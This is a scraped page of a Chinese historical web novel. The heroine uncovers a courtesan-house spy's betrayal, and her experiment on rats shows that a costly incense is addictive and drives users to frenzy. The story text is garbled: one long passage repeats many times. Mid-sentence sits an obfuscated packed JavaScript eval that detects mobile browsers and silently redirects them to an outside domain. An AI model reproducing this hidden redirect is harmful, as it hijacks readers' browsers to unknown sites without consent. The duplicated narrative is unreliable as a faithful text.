这是巧合还是两件事背后有什么联系? 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 这是巧合还是两件事背后有什么联系? 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 这是巧合还是两件事背后有什么联系? 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 这是巧合还是两件事背后有什么联系? 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 这是巧合还是两件事背后有什么联系? 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185816|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 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春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 这是巧合还是两件事背后有什么联系? 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 这是巧合还是两件事背后有什么联系? 第301章 乌烟瘴气 卫凌泽和李继贤跟着运粮的队伍一起回到瀚京。 卫家一早就得了消息,云氏直接派人把两人都接回卫家一起接风,云晚棠也早早地来卫家等着。 临近晌午,两人才到,和他们一起回来的,还有两个蜂腰肥臀的女子。 已是春末夏初,但前两日下过雨,还是些凉,这两名女子却穿得很是清凉,浓妆艳抹的,像是要吸人精气的妖精。 看到这两个女子,云氏顿时皱紧眉头。 李继贤见状,一手一个把两人揽入怀中,大声道:“娇娘和花娘是我的心肝宝贝,伯母若是不想见到她们,我现在就可以带她们走。” 云氏:“……” 这是什么乌烟瘴气的东西? 到底顾念着太傅府的脸面,云氏压着不满还是让李继贤带着那两名女子进了府,只是没让那两名女子去正厅,叫了婆子带她们去小厅用饭。 李继贤对云氏的安排颇为不满,一路都在念叨:“娇娘和花娘都是苦命人,如今她们跟了我,伯母不该对她们带有偏见,卫家不也是经过好多代人的努力才成为名门世家的吗,而且以后的事谁也说不准,万一哪天卫家家道中落……” 云氏忍了一路,听到这话,终于忍不住开口:“贤侄刚回京,恐怕还不知道,你夫人意外身故了,连女儿也被你岳家抢了去,你有功夫心疼这两个女人,不如想想怎么把女儿要回来。” 云氏不知道李继贤跟沈清迟是怎么搅和在一起的,但两人既然做了夫妻,有了孩子,总该有点儿情分,如今发妻刚死,他就在外面左拥右抱,实在是不像话。 云氏本以为李继贤听到这话能收敛些,下一刻却听到李继贤说:“那个贱人死了最好,她留下来那个小贱种我本来也不想要,反正我又不缺女人,以后有的是人给我生儿子,我才不像卫兄,一心吊死在萧家。” 李继贤说话不仅难听,还很扎心。 云氏气得不行,忍不住看了云晚棠一眼:“我怎么从未听妹妹说过太傅府的家教竟是如此的?” 云晚棠也觉得李继贤的表现有些丢人。 李继贤之前荒唐归荒唐,但还是有分寸的,怎么出了趟远门回来就目中无人了? 云晚棠低声呵斥了李继贤几句,李继贤没当回事,吊儿郎当地踱步进了正厅。 厅里,卫家众人都在。 见两人回家,全都热切地打招呼。 李继贤喜欢热闹,这会儿倒是句句有回应。 很快,饭菜上桌。 卫父问起卫凌泽这一路见闻,没等卫凌泽开口,李继贤便抢先道:“伯父,你们是不知道,翁州根本不像你们想象中那样是什么穷乡僻壤,翁州遍地都是美人儿和美酒,简直就是人间天堂!” 李继贤声音很大,提起翁州眼睛都是亮的,满脸都是亢奋。 卫父本来还有些担心卫凌泽这一路上会不会吃苦,听到李继贤的侃侃而谈,心里不由得发堵。 他是盼着这一趟出门能让卫凌泽得到磨砺,别再像之前那样颓丧,可不是让卫凌泽去享乐的。 而且翁州地处边境,早年还经常经受战火侵袭,说是人间炼狱都不为过,怎么可能有李继贤说的那么好? 可李继贤好歹是太傅府的少爷,也算是在富贵窝长大的,翁州要是不好,他为什么撒这样的谎? 卫父想不明白,而李继贤喝了酒,言行逐渐放肆,竟轻浮到想要调戏席间的女眷。 好在卫凌泽及时出手把人打晕,才没有闹出更大的笑话。 云晚棠因为李继贤丢尽了颜面,一番道歉后,带着李继贤离开。 卫家众人也没了给卫凌泽接风的心情,纷纷寻了借口离席。 众人离开后,卫父立刻脸色难看地质问:“你们去翁州到底发生了什么?你可也跟那个不成器的东西一样在翁州声色犬马?” “没有。” 卫凌泽否认,不等卫父再问就起身道:“我累了,先回去休息了。” “给我站住,你这是什么态度?” 卫父气得拍桌,眼看父子俩要吵起来,云氏连忙劝阻:“老爷别生气,泽儿刚从翁州回来,这一路肯定很累,你就让他先回屋休息一会儿吧,等他养足精神,明天再慢慢问。” 说话间,卫凌泽已走出大厅,大步回了凌枫院,沉着脸把自己扔到床上。 看出他心情不好,凌枫院的下人大气都不敢喘。 躺了会儿,卫凌泽沉声唤来行舟:“跟我说说我离开这段时间,京里都发生了什么。” 卫凌泽之前很在意春喜的情况,行舟先挑了清远侯府的事说。 “清远侯得知自己被下了绝嗣药,亲手杀了自己的女儿,陛下震怒,将其削爵,贬为庶民,连府邸也一并收回,本来沈家人想去投奔沈清渊的,但沈府大门紧闭,并不收留他们,沈家人闹了几日,便都散了,如今清远侯一个人住在自己置办的小院里,听说病得不轻。” 清远侯本就是徒有虚名、不被重用的泥腿子,侯府垮掉也是情理之中的事。 曹春喜如今头上没有公婆压着,日子定然过得很快活。 卫凌泽听着觉得无趣,睨了行舟一眼:“你找不到别的事可说了?” 行舟连忙换了话题,说起宝华郡主的死。 “宝华郡主是和马夫死在一起的,听说两人衣衫不整,就死在马厩之中,虽然官府下令不许传播此事,但还是有很多谣言,其中最离谱的一个传言是,有人说宝华郡主是被无忧阁的销魂香害死的。” 听到“销魂香”三个字,卫凌泽猛然抬起头来:“宝华郡主家里也有销魂香?” “有的,不过大理寺的人已经查过了,那销魂香虽有让人兴奋之效,但并不会造成什么大的伤害,而且公子用了这香不也没事吗。” 行舟话音刚落,卫凌泽突然起身,冲过来揪住他的衣领:“你跟别人说过我用销魂香的事了?” 卫凌泽眼眸圆睁,眸底怒火熊熊,行舟吓了一跳,连忙摇头:“没有,公子放心,小人谁都没有说过。” 卫凌泽还想说些什么,手突然不受控制地颤抖起来。 他心头一慌,连忙开口:“滚!滚出去!” 行舟跌坐在地,却不敢耽误,连滚带爬地逃出房间。 关上门的那一刻,他看到卫凌泽神情诡异地扑向香炉。 第302章 这香会让人上瘾 李继贤是被人用冷水泼醒的。 看到自家母亲冷冰冰的脸,李继贤没觉得害怕,抹了抹脸上的水没好气道:“娘,你泼我做什么?” “你还有脸问为什么,卫家好心给你一起接风,你却带着伤风败俗的妖艳贱货进卫家,还当着那么多人的面要调戏卫家的小姐,幸好你爹这会儿不在家,不然非得打断你的腿!” 赵氏一脸的恨铁不成钢,李继贤却不觉得自己有错,挑眉道:“五婶跟你告状了?” 赵氏看他这样更来气:“沈清迟死了,她那个赔钱货女儿我也没要,就等着你五婶帮你再说门好亲事,你今天在卫家闹了这么一出,卫家定然是不会愿意把姑娘嫁给你的,你知不知道自己闯了多大的祸?” 李继贤不以为意,他打了个哈欠,从怀里掏出一包粉末倒进香炉点燃,凑近香炉深吸了一口,露出欲仙欲死的表情:“娘,过来闻闻,这是我从翁州带回来的好东西,问一下,神清气爽,问两下,飘飘欲仙,有了这东西,以后咱们就有花不完的钱,你还怕没有女人愿意嫁给我吗?” 李继贤说着笑出声来。 赵氏不信他的话,但见他如此享受,还是忍不住凑近闻了闻。 香炉里的香味很是特别,她从没闻过,而且闻了以后确实有种说不出的舒爽滋味儿,对李继贤的怒气也一扫而空。 赵氏又深吸了两口,好奇地问:“这是什么香,你从哪儿弄来的?” “娘猜猜看。” 李继贤故作神秘,赵氏哪里猜得到,她抬手给了李继贤一下,李继贤这才道:“五叔和五婶这些年在翁州买了很多地,种了一种罕见的香料,他们找制香师用这种香料制了销魂香,悄悄卖给瀚京的贵人,一钱香就要卖十两金,咱们现在用的,只是制完销魂香剩下的边角料。” 云晚棠是太傅府五位夫人中最得婆母喜欢的,除了云晚棠脾性好会来事,更重要的是五房每年交到公中的钱最多,其他几房也得了他们的好处。 难怪五房出手如此阔绰,这一钱香就卖十两金,五房这些年怕是赚了一座金山都不止。 赵氏顿觉眼红,又听到李继贤说:“五婶他们瞒着这样的好事不肯让我们知道,分明是不把我们当一家人,我也不打算顾及他们的颜面,我已花钱买了五车边角料制成香,再过几日就会运回京中,到时另取个名字,也能赚不少钱。” “这……会不会不太好?” 赵氏虽然嫉妒五房赚钱,但也不想跟云晚棠撕破脸,毕竟婆母是偏心五房的,万一闹起来,婆母不一定会站在她这边。 李继贤狠狠白了赵氏一眼:“娘,这有什么不好的,咱们又没有抢五婶他们的生意,不过是变废为宝,用他们不要的边角料赚点儿钱罢了,你好歹是长房长媳,难道甘心一直被五婶压一头?” 李继贤这话说到了赵氏心坎儿上,赵氏没了声音,她又细细闻了一会儿这香,觉得这滋味儿实在是好,便顾虑都打消了去。 贤儿说得对。 五房已赚得盆满钵满,云晚棠稍微给点儿好处,就让府里所有人都敬着她,等贤儿的买卖成了,长房也能抬起头来,到时候她这个做大嫂的也能威风威风。 ** 半月期到,岚舒准时派人送来了销魂香。 春喜当然不会以身试香,她提前让人捉了十几只老鼠来。 这些老鼠被分别关在两个笼子里,其中一个笼子正常喂养,另一个笼子除了放吃食,还会用销魂香熏上一炷香的时间。 点香的时候,春喜忍不住嘀咕:“这么贵的香,我自己都舍不得买,倒是给你们用上了,你们也算是鼠生无憾了。” 老鼠自然听不懂人话,但闻到销魂香的味道,全都好奇地凑了过来。 点燃香,春喜退到几米开外等着,约莫一盏茶的功夫,笼子里的老鼠一个接一个直挺挺地站了起来。 这次场景有些诡异,春喜用帕子捂住口鼻上前,发现这些老鼠站起来后并没有其他动作,只是用前爪抱着肚子,呆呆地看着前方,像是……舒服傻了。 一炷香后,春喜灭了香炉。 等了一会儿,这些老鼠全都恢复正常,只是比闻到销魂香之前更有活力地在笼子里跑来跑去。 春喜观察了一会儿,把它们交给阿鲤照看,第二日又在差不多的时间点燃销魂香。 到了第五日,那些老鼠一闻到销魂香,就会躺在地上,亮出肚皮,发出吱吱的愉悦声响,而香灭之后,它们不会恢复活力,反而瞧着恹恹的,没什么精神。 傍晚沈清渊下值回家,春喜立刻跟他说了老鼠的变化,两人一起去院子里看老鼠,刚走近就听到吱吱的老鼠叫声。 循声望去,笼子里一片狼藉。 那些熏过销魂香的老鼠不知为何发狂,竟撕咬起同类来,有一只很是厉害,在其他老鼠都自相残杀后,它开始拼了命地去咬笼子。 笼子是铁做的,它根本咬不开,没一会儿就咬出了满嘴的血,但它好像不知道疼,不仅没有停下,反而越发疯狂。 这场面很是诡异,春喜莫名的后背发凉,不自觉往后退了一步,沈清渊立刻环住她的腰,低声道:“别怕。” 沈清渊说完上前,点燃销魂香。 一闻到香味的,那只疯狂无比的老鼠便又和前几天一样,呆呆地倒下享受起来。 春喜和沈清渊的脸色都很凝重。 按照这几日的观察,这些老鼠应该是对销魂香上瘾了,刚刚突然发狂恐怕是香瘾发作。 老鼠发狂已经如此诡异了,那用了销魂香的人会变成什么样? 岚舒是真的不知道这香会有如此威力,还是明知如此还故意为之? 岚舒背后还有人吗?如果有,对方图谋的会是什么? 沈清渊和春喜想的是一样的,他灭了销魂香,把那一笼子老鼠拎起来,沉沉道:“宫门还没有落锁,我进宫一趟,你安心休息,莫要再去无忧阁,更不要再插手这件事。” “好,”春喜点头应下,见沈清渊要走,忍不住追了一步,“夫君,这销魂香卖得这样贵,应该没有多少人用过,对吧?” 第303章 公主府生辰宴 沈清渊入夜进宫,太子一收到消息就赶了过来。 “发生什么大事了,你怎么这个时候进宫?” “销魂香有问题。” 沈清渊说着示意太子看他带来的那一笼子老鼠,同时把春喜这几日给老鼠熏销魂香的过程大致说了一下,最后得出结论:“这香会让人上瘾,且瘾发之时,人会陷入癫狂状态,宝华郡主之死恐怕与这香脱不了干系。” 太子神情一凛。 他让萧夜辰创办无忧阁并非为了敛财,而是为了掌握各大世家的真实情况,等继位后好迅速立威,免得被世家裹挟,这突然冒出来的销魂香害了人,是无忧阁里出了居心不良的叛徒,还是有人知道无忧阁背后真正的主人其实是他,故意针对无忧阁,想毁掉他在宫外的眼线? 太子想得入神,又听到沈清渊说:“这香出现的诡异,若有人故意为之,传播开来,不知多少人要家破人亡,下官觉得殿下应该先收缴这些香,尽快找到源头所在,如此才能杜绝隐患。” 太子当即点头表示赞同,而后又道:“萧夜辰此去翁州还没回来,不知道他查到了什么,会不会与这销魂香有关。” ** 沈清渊一夜未归,春喜没怎么睡好,一大早就醒了。 她正坐着发呆,章嬷嬷和李嬷嬷就进到屋里,章嬷嬷为她梳妆,李嬷嬷则从衣柜里挑了两套衣裳让她选:“夫人想穿这套黛蓝色的还是想穿这套杏白色的?” 见春喜有些怔愣,李嬷嬷提醒:“夫人可是忘了,今日是恒阳公主的生辰,你得去公主府赴宴呢。” 昨日销魂香的威力太过惊人,春喜还真把这件事忘了。 她连忙收拢思绪,挑了衣服,化好妆,然后带上礼物去往公主府。 因为恒阳公主有孕,难得母子一起过生辰,这次的生辰宴办得比往年要盛大一些。 不过恒阳公主怀孕后比较惫懒,皇后特意从宫里调派了人手帮着操办,恒阳公主什么都不用管,春喜到时,恒阳公主正窝在花园凉亭里吃驸马剥的葡萄。 看到春喜,恒阳公主立刻把驸马推开,让春喜坐到自己身边,然后伸手去摸春喜的肚子:“阿喜你这肚子怎么感觉没怎么长呀,你人也不胖,我都快胖成球了。” 恒阳公主话里都是羡慕。 